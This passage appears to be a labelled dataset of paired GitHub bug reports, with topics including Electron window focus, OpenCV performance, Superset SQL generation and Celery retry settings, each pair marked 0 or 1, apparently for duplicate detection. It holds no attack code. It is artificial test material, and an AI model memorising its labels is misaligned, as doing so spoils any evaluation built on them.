python-dotenv==0.9.1<br> pytz==2018.7<br> pywin32-ctypes==0.2.0<br> readme-renderer==24.0<br> requests==2.20.1<br> requests-toolbelt==0.8.0<br> scipy==1.1.0<br> six==1.11.0<br> tqdm==4.28.1<br> twine==1.12.1<br> urllib3==1.24.1<br> virtualenv==16.1.0<br> webencodings==0.5.1<br> websockets==7.0</li> </ul>
1
<ul dir="auto"> <li>Electron version: v0.36.9</li> <li>Operating system: Windows 10</li> </ul> <p dir="auto">Unlike on OS X, clicking a web notification triggered on Windows 10 doesn't focus the app, even with a <code class="notranslate">window.focus()</code> in the click handler. The click handler is called, but the focus call does nothing.</p>
<p dir="auto">I am hitting an issue where a window (in Windows 10) is not being put to the front when I call focus() on it. The same code brings the window to the front on Windows 8 and below, so something must have changed in Windows 10 with regards to window management.</p> <p dir="auto">What I see happening is that the task bar is flashing in orange, so there is some indication. Just the window does not get focussed properly.</p>
1
<p dir="auto">Challenge <a href="http://www.freecodecamp.com/challenges/waypoint-remove-classes-from-an-element-with-jquery" rel="nofollow">http://www.freecodecamp.com/challenges/waypoint-remove-classes-from-an-element-with-jquery</a> has an issue.<br> The Challenge is marked as complete even if the required tasks are not completed successfully.<br> Refer to the screenshot:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/4639594/9315320/40d34704-454c-11e5-82f3-85e007659cda.png"><img src="https://cloud.githubusercontent.com/assets/4639594/9315320/40d34704-454c-11e5-82f3-85e007659cda.png" alt="screenshot from 2015-08-18 01 54 52" style="max-width: 100%;"></a><br> Just adding the removeClass(without any parameters) on the jQuery selector marks the task as complete.<br> Thank you. <g-emoji class="g-emoji" alias="smile" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f604.png">😄</g-emoji></p>
<p dir="auto">If you're authenticated, this notice shows up at the top of the map:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/2c8acd1a31519b86380029e1129d9981583c36b64244feeac4f511ffb7bf6562/68747470733a2f2f7777772e657665726e6f74652e636f6d2f6c2f41722d7768616f394873464f7161782d6843624555305739524643726e516d726d4d45422f696d6167652e706e67"><img src="https://camo.githubusercontent.com/2c8acd1a31519b86380029e1129d9981583c36b64244feeac4f511ffb7bf6562/68747470733a2f2f7777772e657665726e6f74652e636f6d2f6c2f41722d7768616f394873464f7161782d6843624555305739524643726e516d726d4d45422f696d6167652e706e67" alt="" data-canonical-src="https://www.evernote.com/l/Ar-whao9HsFOqax-hCbEU0W9RFCrnQmrmMEB/image.png" style="max-width: 100%;"></a><br> If you aren't unauthenticated, this notice is hidden for some reason. It shouldn't be.<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1299f15929b3fad2730ee47ed2d38c7fef411021b8bd8865634938ea405063ca/68747470733a2f2f7777772e657665726e6f74652e636f6d2f6c2f41725f62644e455550446c434859755f4246784650696c416836646e5f386a68553163422f696d6167652e706e67"><img src="https://camo.githubusercontent.com/1299f15929b3fad2730ee47ed2d38c7fef411021b8bd8865634938ea405063ca/68747470733a2f2f7777772e657665726e6f74652e636f6d2f6c2f41725f62644e455550446c434859755f4246784650696c416836646e5f386a68553163422f696d6167652e706e67" alt="" data-canonical-src="https://www.evernote.com/l/Ar_bdNEUPDlCHYu_BFxFPilAh6dn_8jhU1cB/image.png" style="max-width: 100%;"></a></p>
0
<p dir="auto">If I use a SPAN tag with class="visible-xs" then I expect to get the element visible only on extra small screens. This happens, but the problem is that it is visible using display=block, thus if I put two SPAN tags like this next to each other, they are on separate lines, instead of on one line. I probably need it to remain display=inline, since it is a span, not div. Any chance to workaround this? Any chance to get this fixed in bootstrap? Thank you</p>
<p dir="auto">related to issues <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="16856611" data-permission-text="Title is private" data-url="https://github.com/twbs/bootstrap/issues/8500" data-hovercard-type="pull_request" data-hovercard-url="/twbs/bootstrap/pull/8500/hovercard" href="https://github.com/twbs/bootstrap/pull/8500">#8500</a> , <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="14075731" data-permission-text="Title is private" data-url="https://github.com/twbs/bootstrap/issues/7808" data-hovercard-type="issue" data-hovercard-url="/twbs/bootstrap/issues/7808/hovercard" href="https://github.com/twbs/bootstrap/issues/7808">#7808</a> , <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="6609454" data-permission-text="Title is private" data-url="https://github.com/twbs/bootstrap/issues/4929" data-hovercard-type="issue" data-hovercard-url="/twbs/bootstrap/issues/4929/hovercard" href="https://github.com/twbs/bootstrap/issues/4929">#4929</a> ; using <code class="notranslate">.hidden-sm</code> to hide span within <code class="notranslate">.nav &gt; li &gt; a</code> . Because class is <code class="notranslate">display: block</code> above -sm then text wraps to new line. Would you consider <code class="notranslate">.hidden-*</code> classes to be <code class="notranslate">display: inline-block</code> instead ?</p> <p dir="auto">Here's a jsfiddle of the two cases - but the repercussions could be greater outside of this situation so probably needs more consideration... <a href="http://jsfiddle.net/jholl/P86yf/" rel="nofollow">http://jsfiddle.net/jholl/P86yf/</a></p>
1
<h5 dir="auto">System information (version)</h5> <ul dir="auto"> <li>OpenCV =&gt; 3.4.3</li> <li>Operating System / Platform =&gt; Android ARMv7</li> <li>Compiler =&gt; Using official binaries</li> </ul> <h5 dir="auto">Detailed description</h5> <p dir="auto">I previously used OpenCV 3.1 that I manually compiled to use libjpeg-turbo. When I switched to OpenCV 3.4.3, I saw that libjpeg-turbo was now used instead of libjpeg so I used the official Android binaries for both OpenCV and 3rd party libraries.</p> <p dir="auto">However, reading a JPEG image from disk went from 360ms to 800ms (with <code class="notranslate">IMREAD_COLOR</code>) and from 160ms to 300ms (with <code class="notranslate">IMREAD_GRAYSCALE</code>). These images don't have any exif orientation.</p> <h5 dir="auto">Steps to reproduce</h5> <div class="highlight highlight-source-c++ notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="cv::imread(path, IMREAD_COLOR)"><pre class="notranslate"><span class="pl-en">cv::imread</span>(path, IMREAD_COLOR)</pre></div>
<h5 dir="auto">System information (version)</h5> <ul dir="auto"> <li>OpenCV =&gt; 3.4.2</li> <li>Operating System / Platform =&gt; Windows 10</li> <li>Compiler =&gt; Visual Studio 2017</li> </ul> <h5 dir="auto">Detailed description</h5> <p dir="auto">Hello there! I'm experiencing some <strong>memory leak</strong> on OpenCV when working with C++ threads. I've seen some similar problems around but not quite the same. Also, the ones I've found were not solved.</p> <p dir="auto">I've reduced my code down to the simplest test one can make in which the problem persists.</p> <p dir="auto">What it does: 1000 threads are spawned and each one of them will:</p> <ul dir="auto"> <li>Create a 300x300 Mat image filled with zeros;</li> <li>Add the image with itself and store in a new Mat. This is done 100 times within the each thread.</li> </ul> <p dir="auto">Memory leaks as shown below:<br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/13644591/43962014-e1a76a80-9c8c-11e8-8886-f6ac6009c7d2.png"><img src="https://user-images.githubusercontent.com/13644591/43962014-e1a76a80-9c8c-11e8-8886-f6ac6009c7d2.png" width="50%" style="max-width: 100%;"></a></p> <h5 dir="auto">Steps to reproduce</h5> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="void static thread_call(int id, int n_threads) { cv::Mat teste = cv::Mat(300, 300, CV_32FC1, cv::Scalar(0)); for (int i = 0; i &lt; 100; i++) { cv::Mat result; cv::add(teste, teste, result); } } void static test() { int n_threads = 1000; for (int i = 0; i &lt; 1000; i++) { //Fork std::thread *t = new std::thread[n_threads]; for (int i = 0; i &lt; n_threads; ++i) t[i] = std::thread(thread_call, i, n_threads); //Join for (int i = 0; i &lt; n_threads; ++i) t[i].join(); delete[] t; } return; } int main() { test(); return 0; } "><pre class="notranslate"><code class="notranslate">void static thread_call(int id, int n_threads) { cv::Mat teste = cv::Mat(300, 300, CV_32FC1, cv::Scalar(0)); for (int i = 0; i &lt; 100; i++) { cv::Mat result; cv::add(teste, teste, result); } } void static test() { int n_threads = 1000; for (int i = 0; i &lt; 1000; i++) { //Fork std::thread *t = new std::thread[n_threads]; for (int i = 0; i &lt; n_threads; ++i) t[i] = std::thread(thread_call, i, n_threads); //Join for (int i = 0; i &lt; n_threads; ++i) t[i].join(); delete[] t; } return; } int main() { test(); return 0; } </code></pre></div> <p dir="auto">Any insights are welcome :)</p>
0
<p dir="auto">I'm working on a simple line chart which has 1 time-based column and 1 fact/metric. I've attached a screen capture of the chart dialog screen. I have 1 time column (meal_date), 1 metric sum(calories), 1 group by expression (meal_date), and 1 sort by expression (1) defined on the data tab.</p> <p dir="auto">This should yield a sql query like this:</p> <p dir="auto">select meal_date AS meal_date,<br> sum(calories) AS "Calories"<br> from public.factfood<br> group by meal_date<br> order by 1;</p> <p dir="auto">Very simple, very straightforward. Even the line chart itself looks ok. However there's no data displayed on the line chart. Additionally, there is an extra column called _timestamp and the result set is not sorted at all. Upon viewing the sql created, there's a lot of extra code that I would not expect to be there. Here is the sql query code created for this line chart:</p> <p dir="auto">SELECT meal_date AS <strong>timestamp, &lt;-- Extra/Duplicate Column, not referenced in the dialog screen<br> meal_date AS meal_date,<br> sum(calories) AS "Calories"<br> FROM public.factfood<br> JOIN &lt;-- Completely unneccessary, this is a 1 table only query, so no joins needed<br> (SELECT meal_date AS meal_date</strong>,<br> sum(calories) AS mme_inner__<br> FROM public.factfood<br> GROUP BY meal_date<br> ORDER BY 1 DESC **&lt;-- Order by in the wrong place, it needs to be below the last group by **<br> LIMIT 100) AS anon_1 ON meal_date = meal_date__<br> GROUP BY meal_date,<br> meal_date<br> LIMIT 10000;</p> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/88514509/128579092-de4c0fa3-c4fb-40e5-ad45-b400f2e1a171.png"><img src="https://user-images.githubusercontent.com/88514509/128579092-de4c0fa3-c4fb-40e5-ad45-b400f2e1a171.png" alt="line-chart-sample" style="max-width: 100%;"></a></p> <h3 dir="auto">Environment</h3> <p dir="auto">Centos 8 o/s<br> Postgres 13 DB</p> <ul dir="auto"> <li>superset version: <code class="notranslate">1.2</code></li> <li>python version: <code class="notranslate">3.8</code></li> <li>node.js version: none</li> </ul> <p dir="auto">How do I fix these 3 errors?</p> <p dir="auto">I need to not have the _timestamp column but I don't see where it comes from. There's no option to not have a Time column.<br> I need to have the order by clause utilized by the correct select stmt. Getting rid of the unnecessary join/select stmts would help.<br> I need to see the datapoints on the chart. This is probably because of that extra _timetamp column, not sure.</p>
<p dir="auto">Make sure these boxes are checked before submitting your issue - thank you!</p> <ul class="contains-task-list"> <li>[x ] I have checked the superset logs for python stacktraces and included it here as text if there are any.</li> <li>[x ] I have reproduced the issue with at least the latest released version of superset.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the issue tracker for the same issue and I haven't found one similar.</li> </ul> <h3 dir="auto">Superset version</h3> <p dir="auto">latest git</p> <h3 dir="auto">Expected results</h3> <p dir="auto">superset starts up without error</p> <h3 dir="auto">Actual results</h3> <p dir="auto">superset_1 | npm ERR! path /home/superset/superset/assets/node_modules<br> superset_1 | npm ERR! code EACCES<br> superset_1 | npm ERR! errno -13<br> superset_1 | npm ERR! syscall mkdir<br> superset_1 | npm ERR! Error: EACCES: permission denied, mkdir '/home/superset/superset/assets/node_modules'<br> superset_1 | npm ERR! { [Error: EACCES: permission denied, mkdir '/home/superset/superset/assets/node_modules']<br> superset_1 | npm ERR! cause:<br> superset_1 | npm ERR! { Error: EACCES: permission denied, mkdir '/home/superset/superset/assets/node_modules'<br> superset_1 | npm ERR! type: 'OperationalError',<br> superset_1 | npm ERR! '$error': '$error',<br> superset_1 | npm ERR! cause:<br> superset_1 | npm ERR! { errno: -13,<br> superset_1 | npm ERR! code: 'EACCES',<br> superset_1 | npm ERR! syscall: 'mkdir',<br> superset_1 | npm ERR! path: '/home/superset/superset/assets/node_modules' },<br> superset_1 | npm ERR! isOperational: true,<br> superset_1 | npm ERR! errno: -13,<br> superset_1 | npm ERR! code: 'EACCES',<br> superset_1 | npm ERR! syscall: 'mkdir',<br> superset_1 | npm ERR! path: '/home/superset/superset/assets/node_modules' },<br> superset_1 | npm ERR! isOperational: true,<br> superset_1 | npm ERR! stack:<br> superset_1 | npm ERR! 'Error: EACCES: permission denied, mkdir '/home/superset/superset/assets/node_modules'',<br> superset_1 | npm ERR! type: 'OperationalError',<br> superset_1 | npm ERR! '$error': '$error',<br> superset_1 | npm ERR! errno: -13,<br> superset_1 | npm ERR! code: 'EACCES',<br> superset_1 | npm ERR! syscall: 'mkdir',<br> superset_1 | npm ERR! path: '/home/superset/superset/assets/node_modules' }<br> superset_1 | npm ERR!<br> superset_1 | npm ERR! The operation was rejected by your operating system.<br> superset_1 | npm ERR! It is likely you do not have the permissions to access this file as the current user<br> superset_1 | npm ERR!<br> superset_1 | npm ERR! If you believe this might be a permissions issue, please double-check the<br> superset_1 | npm ERR! permissions of the file and its containing directories, or try running<br> superset_1 | npm ERR! the command again as root/Administrator (though this is not recommended).<br> superset_1 |<br> superset_1 | npm ERR! A complete log of this run can be found in:<br> superset_1 | npm ERR! /home/superset/.npm/_logs/2019-02-15T09_24_16_955Z-debug.log<br> superset_superset_1 exited with code 243</p> <h3 dir="auto">Steps to reproduce</h3> <p dir="auto">git clone <a href="https://github.com/apache/incubator-superset/">https://github.com/apache/incubator-superset/</a><br> cd incubator-superset/contrib/docker</p> <h1 dir="auto">prefix with SUPERSET_LOAD_EXAMPLES=yes to load examples:</h1> <p dir="auto">docker-compose run --rm superset ./docker-init.sh</p> <h1 dir="auto">you can run this command everytime you need to start superset now:</h1> <p dir="auto">docker-compose up</p> <p dir="auto">EDIT:<br> additional infos:<br> CentOS Linux release 7.6.1810 (Core)<br> docker version:<br> Docker version 18.09.2, build <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/apache/superset/commit/62479621cc5b41e2d1bd704022f7ded184b7214d/hovercard" href="https://github.com/apache/superset/commit/62479621cc5b41e2d1bd704022f7ded184b7214d"><tt>6247962</tt></a></p>
0
<p dir="auto">In summary I have two rabbitmq instances running on the same host different ports (e.g. R1:5672,R2:6672). They are set up as a cluster and configured to mirror all queues. I run two celery workers on the same host, each configured to connect to one of these rabbitmq instances.<br> So environment looks like:<br> C1-&gt;R1<br> C2-&gt;R2<br> and R1&lt;-&gt;R2</p> <p dir="auto">I then publish a bunch of ETA tasks.<br> I verify tasks are equally distributed to each celery worker as ETA tasks.<br> Next I stop R2.</p> <p dir="auto">At this point I observer many tasks are Received by C1 as duplicates.<br> Log of C1 look like this:</p> <p dir="auto">[2015-12-23 23:37:21,993: INFO/MainProcess] Received task: tasks.add[5c7e4b80-be18-4d8d-965e-534d75dfffbc] eta:[2015-12-24 04:42:21.966493+00:00]<br> [2015-12-23 23:37:21,995: INFO/MainProcess] Received task: tasks.add[5c7e4b80-be18-4d8d-965e-534d75dfffbc] eta:[2015-12-24 04:42:21.966325+00:00]</p> <p dir="auto">they are eventually executed by this celery worker twice..<br> [2015-12-23 23:42:22,633: INFO/MainProcess] Task tasks.add[5c7e4b80-be18-4d8d-965e-534d75dfffbc] succeeded in 0.00121066000429s: 9<br> [2015-12-23 23:42:22,633: INFO/MainProcess] Task tasks.add[5c7e4b80-be18-4d8d-965e-534d75dfffbc] succeeded in 0.00175269600004s: 9</p> <p dir="auto">This is my task for reference:<br> from celery import Celery<br> import os<br> app = Celery('tasks', broker='amqp://myuser:mypassword@localhost:{0}/'.format(os.environ['AMQP_PORT']))<br> app.conf.update(<br> CELERY_QUEUE_HA_POLICY='all',<br> CELERY_TRACK_STARTED=True,<br> CELERY_ACKS_LATE=True,<br> CELERY_TASK_SERIALIZER='json',<br> CELERY_EVENT_QUEUE_TTL=20,<br> CELERY_SEND_TASK_SENT_EVENT=True,<br> CELERY_EVENT_QUEUE_EXPIRES=900<br> )</p> <p dir="auto">@app.task<br> def add(x, y):<br> return x + y</p> <p dir="auto">I start up the celery instances as:<br> AMQP_PORT=5672 celery -A tasks worker --loglevel=info -n celery_5672<br> AMQP_PORT=6672 celery -A tasks worker --loglevel=info -n celery_6672</p> <p dir="auto">Rabbit policy is:<br> / ha-all all ^(?!amq\.).* {"ha-mode":"all","ha-sync-mode":"automatic"} 0</p> <p dir="auto">I create tasks as:<br> workflow = (add.s(4,4).set(countdown=300) | add.s(1).set(countdown=300))<br> print workflow()</p> <p dir="auto">Wouldn't it make sense for Celery to discard duplicates when there is an ETA task scheduled already instead of scheduling a new one? My tasks are mostly(!) idempotent (we use ACKS_LATE), but still it seems that it should be easy for Celery to prevent executing these tasks multiple times.<br> Thanks..<br> Gökhan</p>
<h1 dir="auto">Checklist</h1> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have verified that the issue exists against the <code class="notranslate">master</code> branch.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> This has already been asked to the [discussion group]</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have read the relevant section in the [contribution guide].</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the [issues list] for similar or identical bug reports.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the [pull requests list]for existing proposed fixes.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have checked the [commit log] to find out if the bug was already fixed.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included all related issues and possible duplicate issues</li> </ul> <h2 dir="auto">Mandatory Debugging Information</h2> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included the output of <code class="notranslate">celery -A proj report</code> in the issue.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have verified that the issue exists against the <code class="notranslate">master</code> branch.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included the contents of <code class="notranslate">pip freeze</code> in the issue.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have included all the versions of all the external dependencies.</li> </ul> <h2 dir="auto">Optional Debugging Information</h2> <ul class="contains-task-list"> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have tried reproducing the issue on more than one Python version</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one message broker</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one version of broker</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox" checked=""> I have tried reproducing the issue on more than one operating system.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue on more than one workers pool.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue with autoscaling, retries,<br> ETA/Countdown &amp; rate limits disabled.</li> <li class="task-list-item"><input type="checkbox" id="" disabled="" class="task-list-item-checkbox"> I have tried reproducing the issue after downgrading<br> and/or upgrading Celery and its dependencies.</li> </ul> <h2 dir="auto">Related Issues and Possible Duplicates</h2> <h4 dir="auto">Related Issues</h4> <p dir="auto"><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="125573898" data-permission-text="Title is private" data-url="https://github.com/celery/celery/issues/2991" data-hovercard-type="issue" data-hovercard-url="/celery/celery/issues/2991/hovercard" href="https://github.com/celery/celery/issues/2991">#2991</a><br> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="54503831" data-permission-text="Title is private" data-url="https://github.com/celery/celery/issues/2457" data-hovercard-type="issue" data-hovercard-url="/celery/celery/issues/2457/hovercard" href="https://github.com/celery/celery/issues/2457">#2457</a></p> <h4 dir="auto">Possible Duplicates</h4> <p dir="auto"><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="261165563" data-permission-text="Title is private" data-url="https://github.com/celery/celery/issues/4296" data-hovercard-type="issue" data-hovercard-url="/celery/celery/issues/4296/hovercard" href="https://github.com/celery/celery/issues/4296">#4296</a></p> <h2 dir="auto">Environment &amp; Settings</h2> <details> <summary><b><code class="notranslate">celery report</code> Output:</b></summary> <p dir="auto"> </p><p dir="auto">software -&gt; celery:4.4.2 (cliffs) kombu:4.6.8 py:3.7.7<br> billiard:3.6.3.0 py-amqp:2.5.2<br> platform -&gt; system:Darwin arch:64bit<br> kernel version:19.4.0 imp:CPython<br> loader -&gt; celery.loaders.app.AppLoader<br> settings -&gt; transport:pyamqp results:disabled</p> <p dir="auto">broker_url: 'amqp://guest:********<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/localhost/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/localhost">@localhost</a>:5672//'<br> task_publish_retry: False</p> <p dir="auto"></p> </details> <h1 dir="auto">Steps to Reproduce</h1> <ol dir="auto"> <li>Shutdown broker</li> <li>Publish a task (details in "Minimally Reproducible Test Case" section)</li> <li>Wait indefinitely</li> </ol> <h2 dir="auto">Required Dependencies</h2> <ul dir="auto"> <li><strong>Minimal Python Version</strong>: N/A</li> <li><strong>Minimal Celery Version</strong>: N/A</li> <li><strong>Minimal Kombu Version</strong>: N/A</li> <li><strong>Minimal Broker Version</strong>: N/A</li> <li><strong>Minimal Result Backend Version</strong>: N/A</li> <li><strong>Minimal OS and/or Kernel Version</strong>: N/A</li> <li><strong>Minimal Broker Client Version</strong>: N/A</li> <li><strong>Minimal Result Backend Client Version</strong>: N/A</li> </ul> <h3 dir="auto">Python Packages</h3> <details> <summary><b><code class="notranslate">pip freeze</code> Output:</b></summary> <p dir="auto"> </p><p dir="auto">amqp==2.5.2<br> billiard==3.6.3.0<br> celery==4.4.2<br> docutils==0.16<br> importlib-metadata==1.6.0<br> kombu==4.6.8<br> lockfile==0.12.2<br> protobuf==3.11.4<br> python-daemon==2.2.4<br> pytz==2019.3<br> six==1.14.0<br> vine==1.3.0<br> zipp==3.1.0</p> <p dir="auto"></p> </details> <h3 dir="auto">Other Dependencies</h3> <details> <p dir="auto"> N/A </p> </details> <h2 dir="auto">Minimally Reproducible Test Case</h2> <p dir="auto">Step 1: vi tasks.py</p> <details> <p dir="auto"> </p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="from celery import Celery class celeryconfig: broker_url = 'pyamqp://guest@localhost//' task_publish_retry = False app = Celery('tasks') app.config_from_object(celeryconfig) @app.task def add(x, y): return x + y"><pre class="notranslate"><code class="notranslate">from celery import Celery class celeryconfig: broker_url = 'pyamqp://guest@localhost//' task_publish_retry = False app = Celery('tasks') app.config_from_object(celeryconfig) @app.task def add(x, y): return x + y </code></pre></div> <p dir="auto"></p> </details> <p dir="auto">Step 2: shutdown broker<br> Step 3: from python prompt:</p> <details> <p dir="auto"> </p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="$ python &gt;&gt;&gt; from tasks import add &gt;&gt;&gt; add.delay(1,2)"><pre class="notranslate"><code class="notranslate">$ python &gt;&gt;&gt; from tasks import add &gt;&gt;&gt; add.delay(1,2) </code></pre></div> <p dir="auto"></p> </details> <h1 dir="auto">Expected Behavior</h1> <p dir="auto">Quit process due to exception:<br> <code class="notranslate">kombu.exceptions.OperationalError: [Errno 61] Connection refused</code></p> <h1 dir="auto">Actual Behavior</h1> <p dir="auto">Wait <strong>INDEFINITELY</strong></p> <h1 dir="auto">Analysis</h1> <ol dir="auto"> <li> <p dir="auto">at line 870 of <code class="notranslate">celery/app/base.y</code>, parameter <code class="notranslate">transport_options</code> will only cite calling parameter of <code class="notranslate">calling _connection()</code> &amp; <code class="notranslate">conf.broker_transport_options</code>. Both<code class="notranslate">task_publish_retry</code> and <code class="notranslate">task_publish_retry_policy</code> are not included.</p> </li> <li> <p dir="auto">at line 1196 of <code class="notranslate">celery/app/base.y</code>, <code class="notranslate">self._pool</code> is generated for the first time by calling <code class="notranslate">connection_for_write()</code> <strong>without any parameter</strong>. So only <code class="notranslate">conf.broker_transport_options</code> will be used for initiaizing <code class="notranslate">Connection</code> instance of <code class="notranslate">kombu</code>, both <code class="notranslate">task_publish_retry</code> and <code class="notranslate">task_publish_retry_policy</code> will be ignored.</p> </li> <li> <p dir="auto">at line 559 of <code class="notranslate">celery/app/amqp.py</code>, both <code class="notranslate">task_publish_retry</code> and <code class="notranslate">task_publish_retry_policy</code> is passed to function <code class="notranslate">publish()</code> of <code class="notranslate">kombu</code>, but these two parameters will be dropped when referencing <code class="notranslate">self.channel</code> to create a connection channel at line 174 of <code class="notranslate">kombu/messaging.py</code>, which will make call to <code class="notranslate">ChannelPromise(lambda: connection.default_channel)</code> at line 224, and get result from <code class="notranslate">Connection.default_channel</code>.</p> </li> <li> <p dir="auto">at line 844 of <code class="notranslate">kombu/connection.py</code> we can find that <code class="notranslate">default_channel()</code> takes no parameter at all, and will only take the initialization parameters of Collection instance. As a result, settings from <code class="notranslate">task_publish_retry</code> and <code class="notranslate">task_publish_retry_policy</code> configuration are not included, because they're not part of instance initialization as mentioned above.</p> </li> <li> <p dir="auto">at line 383 of <code class="notranslate">kombu/connection.py</code> we can further inspect that the real value of parameter <code class="notranslate">max_retries</code> passed to function <code class="notranslate">ensure_connection()</code> is <strong><code class="notranslate">None</code></strong>. So it will repeat indefinitely.</p> </li> <li> <p dir="auto">For the same reason, the <code class="notranslate">retry</code> and <code class="notranslate">retry_policy</code> parameter when calling <code class="notranslate">apply_async()</code> or <code class="notranslate">send_task()</code> does not work, either. Because these parameter will not reach <code class="notranslate">default_channel</code> of <code class="notranslate">kombu</code> at all.</p> </li> </ol> <p dir="auto">So either the code should be fixed to include <code class="notranslate">task_publish_retry</code> and <code class="notranslate">task_publish_retry_policy</code> in <code class="notranslate">Connection</code> instance initialization, or the instance variables of <code class="notranslate">Connection</code> should be modified when calling <code class="notranslate">Producer.publish()</code>, or the document should be modified to clarify that these two configurations will not work as intended.</p> <h1 dir="auto">Temporary Workaround</h1> <p dir="auto">Use <code class="notranslate">broker_transport_options</code> instead of <code class="notranslate">task_publish_retry</code>/<code class="notranslate">task_publish_retry_policy</code>:</p> <details> <p dir="auto"> </p><div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="class celeryconfig: broker_url = 'pyamqp://guest@localhost//' broker_transport_options = { 'max_retries': 1, 'interval_start': 0, 'interval_step': 0.2, 'interval_max': 0.2, } app.config_from_object(celeryconfig)"><pre class="notranslate"><code class="notranslate">class celeryconfig: broker_url = 'pyamqp://guest@localhost//' broker_transport_options = { 'max_retries': 1, 'interval_start': 0, 'interval_step': 0.2, 'interval_max': 0.2, } app.config_from_object(celeryconfig) </code></pre></div> <p dir="auto"></p> </details> <p dir="auto">Didn't find a way to turn off retries, though.</p> <h2 dir="auto">[EDIT]</h2> <p dir="auto">Add possible duplicate through Googling: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="261165563" data-permission-text="Title is private" data-url="https://github.com/celery/celery/issues/4296" data-hovercard-type="issue" data-hovercard-url="/celery/celery/issues/4296/hovercard" href="https://github.com/celery/celery/issues/4296">#4296</a></p> <p dir="auto">The conclusion is identical to my post, use <code class="notranslate">broker_transport_options</code> instead. This problem (or inconsistency of documentation) was reported back in 2018, but the situation still remains in v4.4.2.</p> <p dir="auto">The "Calling Task" section of document should really be modified to clarify that all <code class="notranslate">task_publish_retry</code>, <code class="notranslate">task_publish_retry_policy</code>, <code class="notranslate">retry</code> and <code class="notranslate">retry_policy</code> will not work as intended when connecting to broker for the first time.</p>
0
<p dir="auto">I'm fairly often finding old versions of Rust docs from other sites when I Google things. For instance, searching for 'rust macro_rules' finds me <a href="http://web.mit.edu/rust-lang_v0.9/doc/guide-macros.html" rel="nofollow">http://web.mit.edu/rust-lang_v0.9/doc/guide-macros.html</a> (as the second result, after the <a href="http://rustbyexample.com/staging/macros.html" rel="nofollow">Rust by Example page</a>), and the rust-lang.org page is nowhere to be found. Googling 'ContravariantLifetime' finds me <a href="http://www.contrib.andrew.cmu.edu/~acrichto/doc/std/kinds/marker/struct.ContravariantLifetime.html" rel="nofollow">http://www.contrib.andrew.cmu.edu/~acrichto/doc/std/kinds/marker/struct.ContravariantLifetime.html</a> .</p> <p dir="auto">One way to avoid this going forward would be for the documentation included in release tarballs to use a <code class="notranslate">&lt;link rel="canonical"&gt;</code> tag pointing to the corresponding doc.rust-lang.org URL for that documentation page. This would allow the pages to be viewed directly without redirects (preserving local use), but any search engine juice would be repointed at the official URL.</p> <p dir="auto">See the following pages for discussion on canonical links:</p> <ul dir="auto"> <li><a href="https://support.google.com/webmasters/answer/139066#2" rel="nofollow">https://support.google.com/webmasters/answer/139066#2</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/www_and_non-www_URLs#Using_link_with_the_attirbute_rel.3D.22canonical.22" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTTP/www_and_non-www_URLs#Using_link_with_the_attirbute_rel.3D.22canonical.22</a></li> <li><a href="https://www.mattcutts.com/blog/canonical-link-tag/" rel="nofollow">https://www.mattcutts.com/blog/canonical-link-tag/</a></li> <li><a href="http://moz.com/blog/complete-guide-to-rel-canonical-how-to-and-why-not" rel="nofollow">http://moz.com/blog/complete-guide-to-rel-canonical-how-to-and-why-not</a></li> </ul> <p dir="auto">The other option would be to include <code 